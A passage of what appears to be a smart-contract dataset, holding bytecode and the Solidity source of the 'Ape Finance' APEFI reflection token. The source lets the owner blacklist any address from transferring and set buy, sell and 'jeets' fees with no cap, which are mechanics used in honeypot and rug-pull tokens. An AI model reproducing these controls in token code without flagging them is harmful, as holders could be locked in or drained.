} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d6106a4565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ae565b60405180821515815260200191505060405180910390f35b61023f61085e565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610875565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaa565b6040518082815260200191505060405180910390f35b61031c610af2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b94565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc9565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de0565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156105b457600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561073957600080fd5b6107c882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610853848484610ea6565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108b057600080fd5b61093f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8a5780601f10610b5f57610100808354040283529160200191610b8a565b820191906000526020600020905b815481529060010190602001808311610b6d57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bcf57600080fd5b610c5e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610dd6338484610ea6565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610e7c57600080fd5b8091505092915050565b600082821115610e9557600080fd5b600082840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ef157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f2b57600080fd5b610f7c816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea2646970667358221220a5583d0e3b9ff485dfa9c0babf41d589fe55fc22ffe54a207c8715522c88cee964736f6c63430007010033 | {"success": true, "error": null, "results": {}} | 304 |
0xa8fe2a9df57fed79e6c1ed82dba7caa17afd06ec | // SPDX-License-Identifier: Unlicensed
//https://t.me/apefinance
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract APEFI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ape Finance";
string private constant _symbol = "APEFI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 5;
uint256 private _taxFeeJeets = 10;
uint256 private _redisFeeOnBuy = 5;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 5;
uint256 private _taxFeeOnSell = 10;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x73024a1213cdC156A442dD98D30fdf3779cFbeFC);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 hours;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e10 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external onlyOwner {
_isSniper[sniper] = true;
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
timeJeets = hoursTime * 1 hours;
}
} | 0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e1461064f578063e0f9f6a014610695578063ea1644d5146106b5578063f2fde38b146106d5578063fe72c3c1146106f557600080fd5b806395d89b41146105a15780639ec350ed146105cf5780639f131571146105ef578063a9059cbb1461060f578063c55284901461062f57600080fd5b80637d1db4a5116100f25780637d1db4a514610517578063881dce601461052d5780638da5cb5b1461054d5780638f70ccf71461056b5780638f9a55c01461058b57600080fd5b806370a08231146104ac578063715018a6146104cc57806374010ece146104e1578063790ca4131461050157600080fd5b806333251a0b116101a65780634bf2c7c9116101755780634bf2c7c9146104215780635d098b38146104415780636b9cf534146104615780636d8aa8f8146104775780636fc3eaec1461049757600080fd5b806333251a0b1461039f57806338eea22d146103c15780633e3e9598146103e157806349bd5a5e1461040157600080fd5b806318160ddd116101ed57806318160ddd1461031157806323b872dd1461033757806327c8f835146103575780632fd689e31461036d578063313ce5671461038357600080fd5b806306fdde031461022a578063095ea7b3146102705780630f3a325f146102a05780631694505e146102d957600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060408051808201909152600b81526a4170652046696e616e636560a81b60208201525b6040516102679190611e9d565b60405180910390f35b34801561027c57600080fd5b5061029061028b366004611e14565b61070b565b6040519015158152602001610267565b3480156102ac57600080fd5b506102906102bb366004611d60565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102e557600080fd5b506019546102f9906001600160a01b031681565b6040516001600160a01b039091168152602001610267565b34801561031d57600080fd5b50683635c9adc5dea000005b604051908152602001610267565b34801561034357600080fd5b50610290610352366004611dd3565b610722565b34801561036357600080fd5b506102f961dead81565b34801561037957600080fd5b50610329601d5481565b34801561038f57600080fd5b5060405160098152602001610267565b3480156103ab57600080fd5b506103bf6103ba366004611d60565b61078b565b005b3480156103cd57600080fd5b506103bf6103dc366004611e7b565b610803565b3480156103ed57600080fd5b506103bf6103fc366004611d60565b610838565b34801561040d57600080fd5b50601a546102f9906001600160a01b031681565b34801561042d57600080fd5b506103bf61043c366004611e62565b610886565b34801561044d57600080fd5b506103bf61045c366004611d60565b6108c3565b34801561046d57600080fd5b50610329601e5481565b34801561048357600080fd5b506103bf610492366004611e40565b61091d565b3480156104a357600080fd5b506103bf610965565b3480156104b857600080fd5b506103296104c7366004611d60565b61098f565b3480156104d857600080fd5b506103bf6109b1565b3480156104ed57600080fd5b506103bf6104fc366004611e62565b610a25565b34801561050d57600080fd5b50610329600a5481565b34801561052357600080fd5b50610329601b5481565b34801561053957600080fd5b506103bf610548366004611e62565b610ac9565b34801561055957600080fd5b506000546001600160a01b03166102f9565b34801561057757600080fd5b506103bf610586366004611e40565b610b45565b34801561059757600080fd5b50610329601c5481565b3480156105ad57600080fd5b50604080518082019091526005815264415045464960d81b602082015261025a565b3480156105db57600080fd5b506103bf6105ea366004611e7b565b610b91565b3480156105fb57600080fd5b506103bf61060a366004611e40565b610bc6565b34801561061b57600080fd5b5061029061062a366004611e14565b610c0e565b34801561063b57600080fd5b506103bf61064a366004611e7b565b610c1b565b34801561065b57600080fd5b5061032961066a366004611d9a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106a157600080fd5b506103bf6106b0366004611e62565b610c50565b3480156106c157600080fd5b506103bf6106d0366004611e62565b610c8c565b3480156106e157600080fd5b506103bf6106f0366004611d60565b610cca565b34801561070157600080fd5b5061032960185481565b6000610718338484610db4565b5060015b92915050565b600061072f848484610ed8565b610781843361077c85604051806060016040528060288152602001612071602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906115ff565b610db4565b5060019392505050565b6000546001600160a01b031633146107be5760405162461bcd60e51b81526004016107b590611ef2565b60405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff1615610800576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016107b590611ef2565b600d91909155600f55565b6000546001600160a01b031633146108625760405162461bcd60e51b81526004016107b590611ef2565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108b05760405162461bcd60e51b81526004016107b590611ef2565b60018111156108be57600080fd5b601355565b6017546001600160a01b0316336001600160a01b0316146108e357600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109475760405162461bcd60e51b81526004016107b590611ef2565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b03161461098557600080fd5b4761080081611639565b6001600160a01b03811660009081526002602052604081205461071c90611677565b6000546001600160a01b031633146109db5760405162461bcd60e51b81526004016107b590611ef2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a4f5760405162461bcd60e51b81526004016107b590611ef2565b674563918244f40000811015610ac45760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107b5565b601b55565b6017546001600160a01b0316336001600160a01b031614610ae957600080fd5b610af23061098f565b8111158015610b015750600081115b610b3c5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107b5565b610800816116fb565b6000546001600160a01b03163314610b6f5760405162461bcd60e51b81526004016107b590611ef2565b601a8054911515600160a01b0260ff60a01b1990921691909117905542600a55565b6000546001600160a01b03163314610bbb5760405162461bcd60e51b81526004016107b590611ef2565b600b91909155600c55565b6000546001600160a01b03163314610bf05760405162461bcd60e51b81526004016107b590611ef2565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b6000610718338484610ed8565b6000546001600160a01b03163314610c455760405162461bcd60e51b81526004016107b590611ef2565b600e91909155601055565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b81526004016107b590611ef2565b610c8681610e10611ff9565b60185550565b6000546001600160a01b03163314610cb65760405162461bcd60e51b81526004016107b590611ef2565b601c54811015610cc557600080fd5b601c55565b6000546001600160a01b03163314610cf45760405162461bcd60e51b81526004016107b590611ef2565b6001600160a01b038116610d595760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107b5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e165760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b5565b6001600160a01b038216610e775760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f3c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b5565b6001600160a01b038216610f9e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b5565b600081116110005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107b5565b6001600160a01b03821660009081526009602052604090205460ff16156110395760405162461bcd60e51b81526004016107b590611f27565b6001600160a01b03831660009081526009602052604090205460ff16156110725760405162461bcd60e51b81526004016107b590611f27565b3360009081526009602052604090205460ff16156110a25760405162461bcd60e51b81526004016107b590611f27565b6000546001600160a01b038481169116148015906110ce57506000546001600160a01b03838116911614155b1561144757601a54600160a01b900460ff1661112c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107b5565b601a546001